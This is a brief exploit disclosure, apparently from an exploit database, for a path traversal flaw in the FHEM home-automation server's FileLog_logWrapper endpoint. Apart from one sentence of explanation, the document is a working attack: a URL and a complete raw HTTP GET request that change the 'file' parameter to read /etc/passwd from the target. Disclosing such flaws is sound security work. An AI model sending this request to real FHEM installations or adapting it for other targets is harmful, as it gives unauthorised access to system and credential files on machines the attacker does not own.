To exploit vulnerability, someone could use 'http://
[HOST]/fhem/FileLog_logWrapper?dev=Logfile&file=%2fetc%2fpasswd&type=text'
request
to get some informations from the target by changing "file" parameter.
GET /fhem/FileLog_logWrapper?dev=Logfile&file=%2fetc%2fpasswd&type=text HTTP/1.1
Host: [TARGET]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:74.0)
Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1